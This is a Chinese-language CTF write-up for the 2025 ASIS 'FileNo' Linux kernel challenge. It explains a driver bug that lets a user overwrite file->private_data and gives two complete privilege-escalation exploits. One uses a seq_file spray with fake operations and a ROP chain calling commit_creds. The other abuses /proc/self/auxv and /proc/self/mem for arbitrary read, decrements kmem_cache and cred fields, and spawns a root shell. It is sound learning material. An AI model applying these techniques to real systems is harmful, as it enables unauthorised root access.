2025 ASIS CTF FileNo wp

🤡

漏洞

读写file->private_data

1
2
3
4
5
6
7
8
9
if (cmd == CMD_READ) {
req.val = (long)target->private_data;
if (copy_to_user((req_t __user *)arg, &req, sizeof(req))) {
ret = -EFAULT;
goto unlock_on_fail;
}
} else { // CMD_WRITE
target->private_data = (void*)req.val;
}

对file的要求S_ISREG最基本满足:

  • 非dir
  • 非link
  • 非char driver
  • 非block driver
  • 非pipe
  • 非socket
1
2
3
4
if (!S_ISREG(file_inode(target)->i_mode)) {
ret = -EBADF;
goto unlock_on_fail;
}

最大的问题其实就是搜索有private_data的reg file……

方法一

直接进行一个暴力搜索->private_data🙂,然后发现一个seq_file,之前好像见过,那就这个了!

seq_file

打开一个/proc/self/stat文件,file->private_data指向一个seq_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};

struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

可以劫持seq_file->buf进行任意读,伪造seq_operations劫持控制流

找gadget来栈迁移研究了好久(

Exp

喷seq_file然后discard slab,pipe把page alloc回来整页伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#include "mykernel.h"

#define CMD_READ 0x1337
#define CMD_WRITE 0x1338

typedef struct {
int fd;
long val;
} req_t;


size_t dev_read(int fd_dev, int fd){
req_t arg = {
.fd = fd,
.val = 0,
};
ioctl(fd_dev, CMD_READ, &arg);
return arg.val;
}

int dev_write(int fd_dev, int fd, size_t val){
req_t arg = {
.fd = fd,
.val = val,
};
return ioctl(fd_dev, CMD_WRITE, &arg);
}

typedef struct fd_addr {
int fd;
size_t addr;
} object;

#define N_PAGE_NUM 0xe
#define N_FDS 0x22*N_PAGE_NUM
#define N_PAGES 0x10
char buffer[0x1000];
object sprays[0x13][0x22];
int pipe_fd[N_PAGES][2];


void hack(size_t target){
size_t *ptr = (size_t *)buffer;

// 0xffffffff8132b8f4: pop rsp; ret;
// 0xffffffff819e613f: push rdi; adc ch, cl; imul edi, edi, -1; jmp qword ptr [rsi + 0x45]
#define PUSH_RDI_JMP_RSI 0x9e613f
#define POP_RSP_RET 0x32b8f4
#define RSP_ADD_88_RET 0x20119C

// fake seq_file
ptr[0] = kernel_base+RSP_ADD_88_RET;
ptr[1] = 0;
ptr[2] = 0;
ptr[3] = 0;
ptr[4] = 0;
ptr[5] = 0;
ptr[6] = 0x10;
ptr[7] = 0;
ptr[8] = 0;
ptr[9] = target+0x48;
ptr[10] = target+0x48;
ptr[11] = target+0x80; // [rdi+80h] fake_operations
ptr[12] = 0;
ptr[13] = 0;
ptr[14] = 0;
ptr[15] = 0;

*(size_t *)((size_t)buffer+0x28+0x45) = kernel_base + POP_RSP_RET;

// fake seq_operations
ptr[16] = kernel_base + PUSH_RDI_JMP_RSI;
ptr[17] = 0;
ptr[18] = 0;

// rop chain
#define POP_RDI_RET 0x306a4d
#define INIT_CRED 0xE3BF60
#define COMMIT_CREDS 0x2a3a90
#define SWAP_RET 0x1787
#define POP_RCX_RET 0x2af543
ptr[89] = kernel_base+POP_RDI_RET;
ptr[90] = kernel_base+INIT_CRED;
ptr[91] = kernel_base+COMMIT_CREDS;
ptr[92] = kernel_base+SWAP_RET;
ptr[93] = 0;
ptr[94] = 0;
ptr[95] = (size_t)&get_root_shell;
ptr[96] = user_cs;
ptr[97] = user_rflags;
ptr[98] = user_sp;
ptr[99] = user_ss;

for(int i=0; i<N_PAGES; i++){
write(pipe_fd[i][1], buffer, sizeof(buffer));
}
}

int main(){
save_status();
bind_core(0);

int fd = open("/dev/vuln", O_RDWR);
size_t pre = -1;

for(int i=0; i<N_PAGES; i++){
if(pipe(pipe_fd[i]) < 0){
perror("pipe");
return 1;
}
}

int i=-1, j=0;
while(i < N_PAGE_NUM){
int fd_tmp = open("/proc/self/stat", O_RDONLY);
if(fd_tmp < 0){
perror("open");
return 1;
}

read(fd_tmp, buffer, 8);

size_t addr = dev_read(fd, fd_tmp);
if(pre != (addr & 0xfffffffffffff000)){
pre = addr & 0xfffffffffffff000;
i++;
j=0;
}else{
j++;
}
sprays[i][j].fd = fd_tmp;
sprays[i][j].addr = addr;
page_offset_base = addr & 0xfffffffff0000000;
printf("%d, %d, %d, %lx\n",i, j, fd_tmp, addr);
}
puts("Spray over.");

for(i=N_PAGE_NUM-3; i<N_PAGE_NUM; i++){
for(j=0; j<0x22; j++){
sprays[i][j].addr = sprays[i-(N_PAGE_NUM-3)][j].addr;
dev_write(fd, sprays[i][j].fd, sprays[i][j].addr);
printf("%d, %d, %d, %lx\n",i, j, sprays[i][j].fd, sprays[i][j].addr);
}
}

puts("Write over.");

for(i=0; i<N_PAGE_NUM-3; i++){
for(j=0; j<0x22; j++){
close(sprays[i][j].fd);
}
}

puts("Close over.");

size_t *ptr = (size_t *)buffer;
ptr[0] = page_offset_base + 0x9d000;
ptr[1] = 0;
ptr[2] = 0;
ptr[3] = 0x2000;
ptr[4] = 0;
ptr[5] = 0;
ptr[6] = 8;
ptr[7] = 0;
ptr[8] = 0;
ptr[9] = 0xdeadbeef; // self + 0x48
ptr[10] = 0xdeadbeef; // self + 0x48

for(i=0; i<0x22; i++){
if((sprays[N_PAGE_NUM-3][i].addr & 0xfff) != 0){
continue;
}else{
ptr[9] = sprays[N_PAGE_NUM-3][i].addr + 0x48;
ptr[10] = sprays[N_PAGE_NUM-3][i].addr + 0x48;
printf("Find target %lx.\n", sprays[N_PAGE_NUM-3][i].addr);

for(j=0; j<N_PAGES; j++){
write(pipe_fd[j][1], buffer, sizeof(buffer));
}
read(sprays[N_PAGE_NUM-3][i].fd, &kernel_base, 8);
kernel_base -= 0x22bf70;
printf("kernel_base: %lx\n", kernel_base);
break;
}
}

for(i=0; i<N_PAGES; i++){
read(pipe_fd[i][0], buffer, sizeof(buffer));
}

for(i=0; i<0x22; i++){
if((sprays[N_PAGE_NUM-3][i].addr & 0xfff) != 0){
continue;
}else{
printf("Find target %lx.\n", sprays[N_PAGE_NUM-3][i].addr);
hack(sprays[N_PAGE_NUM-3][i].addr);
read(sprays[N_PAGE_NUM-3][i].fd, &kernel_base, 8);
break;
}
}

return 0;
}

方法二

幽天帝!\(^o^)/ 幽天帝!\(^o^)/ 幽天帝!\(^o^)/

proc

/proc/self下其实还有其他能用的文件:

  • /proc/self/mem:进程虚拟内存读写
  • /proc/self/auxv:读进程辅助向量

这两个文件file->private_data都指向进程的mm_struct

  • /proc/self/auxv等同于读mm_struct的某块内存

    1
    2
    3
    4
    5
    struct mm_struct {
    // ……
    unsigned long saved_auxv[AT_VECTOR_SIZE]; /* for /proc/PID/auxv */
    // ……
    }
  • close一个/proc/self/mem会调用mmdrop,也就是mm_count-1

    1
    2
    3
    4
    5
    6
    struct mm_struct {
    struct {
    struct {
    atomic_t mm_count;
    } ____cacheline_aligned_in_smp;
    // ……

由于可以随便改file->private_data,所以通过close一个/proc/self/mem可以获得任意地址内容-1原语,通过读/proc/self/auxv可以获得任意读原语

由于开启了usercopy保护,实际上不能进行堆上任意的读写,可以通过-1原语更改kmem_cache->useroffset和kmem_cache->usersize进行一个绕过

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include "mykernel.h"

#define CMD_READ 0x1337
#define CMD_WRITE 0x1338

typedef struct {
int fd;
long val;
} req_t;


size_t dev_read(int fd_dev, int fd){
req_t arg = {
.fd = fd,
.val = 0,
};
ioctl(fd_dev, CMD_READ, &arg);
return arg.val;
}

int dev_write(int fd_dev, int fd, size_t val){
req_t arg = {
.fd = fd,
.val = val,
};
return ioctl(fd_dev, CMD_WRITE, &arg);
}

typedef struct fd_addr {
int fd;
size_t addr;
} object;

char buffer[0x1000];


void arbitary_read_offset(int fd_dev, int fd_auxv, size_t addr, size_t offset) {
dev_write(fd_dev, fd_auxv, addr-0x198+offset);
lseek(fd_auxv, 0, SEEK_SET);
read(fd_auxv, buffer+offset, 0x100);
}

size_t arbitary_read(int fd_dev, int fd_auxv, size_t addr) {
dev_write(fd_dev, fd_auxv, addr-0x198);
lseek(fd_auxv, 0, SEEK_SET);
read(fd_auxv, buffer, 0x1000);
return *(size_t *)buffer;
}

void arbitary_sub1(int fd_dev, size_t addr) {
int fd_mem = open("/proc/self/mem", O_RDWR);
dev_write(fd_dev, fd_mem, addr);
close(fd_mem);
}

#define N_FD_MEM 0x300
int fd_mems[N_FD_MEM];
int fd_idx = 0;
void prepare_fds() {
for(int i=0; i<N_FD_MEM; i++) {
fd_mems[i] = open("/proc/self/mem", O_RDWR);
if(fd_mems[i]<0) {
printf("open /proc/self/mem failed at %d\n", i);
exit(-1);
}
}
}

void arbitary_subn(int fd_dev, size_t addr, int n) {
for(int i=0; i<n; i++){
dev_write(fd_dev, fd_mems[fd_idx], addr);
close(fd_mems[fd_idx]);
fd_idx++;
}
}


int main(){
save_status();
bind_core(0);

int fd = open("/dev/vuln", O_RDWR);

int fd_auxv = open("/proc/self/auxv", O_RDONLY);

size_t heap_addr = dev_read(fd, fd_auxv);
printf("heap_addr: %lx\n", heap_addr);

kernel_base = arbitary_read(fd, fd_auxv, (heap_addr&0xfffffffff0000000)+0x9d000)-0x22bf70;
printf("kernel_base: %lx\n", kernel_base);

#define INIT_TASK 0xe0c480
#define TASK_STRUCT_CACHE 0x10eeb98
#define CRED_CACHE 0x10efaf0
#define TASKS_OFFSET 0x320
#define COMM_OFFSET 0x5d0
#define USEROFFSET_OFFSET 0xc8
#define USERSIZE_OFFSET 0xcc
#define CRED_OFFSET 0x5c8

size_t task_struct_cache = arbitary_read(fd, fd_auxv, kernel_base+TASK_STRUCT_CACHE);
printf("task_struct_cache: %lx\n", task_struct_cache);

size_t cred_cache = arbitary_read(fd, fd_auxv, kernel_base+CRED_CACHE);
printf("cred_cache: %lx\n", cred_cache);

for(int i=0; i<0xa40-0x320; i++)
arbitary_sub1(fd, task_struct_cache+USEROFFSET_OFFSET);
arbitary_sub1(fd, task_struct_cache+USERSIZE_OFFSET+2);

arbitary_sub1(fd, cred_cache+USERSIZE_OFFSET);

size_t next_task = kernel_base+INIT_TASK;
do {
next_task = arbitary_read(fd, fd_auxv, next_task+TASKS_OFFSET+8)-TASKS_OFFSET;
printf("next_task: %lx\n", next_task);
arbitary_read(fd, fd_auxv, next_task+COMM_OFFSET);
printf("task_struct->comm: %s\n", buffer);

} while(strncmp(buffer, "exploit", 7));

printf("Got it %lx!\n", next_task);
size_t cred = arbitary_read(fd, fd_auxv, next_task+CRED_OFFSET);
printf("cred: %lx\n", cred);

arbitary_read(fd, fd_auxv, cred+8);
prepare_fds();
uint8_t *ptr = buffer;
for(int i=0; i<0x20; i++) {
printf("round %d\n", i);
hex_dump(ptr, 0x20);
if ((*((uint32_t *)(&ptr[i]))&0xffffff00) == 0) {
arbitary_subn(fd, cred+8+i+3, 1);
arbitary_read_offset(fd, fd_auxv, cred+8, i);
}
arbitary_subn(fd, cred+8+i, ptr[i]);

arbitary_read_offset(fd, fd_auxv, cred+8, i);
}

system("/bin/sh");

sleep(10000);

return 0;
}

2025 ASIS CTF FileNo wp
http://akaieurus.github.io/2025/09/18/asis2025fileno/
作者
Eurus
发布于
2025年9月18日
许可协议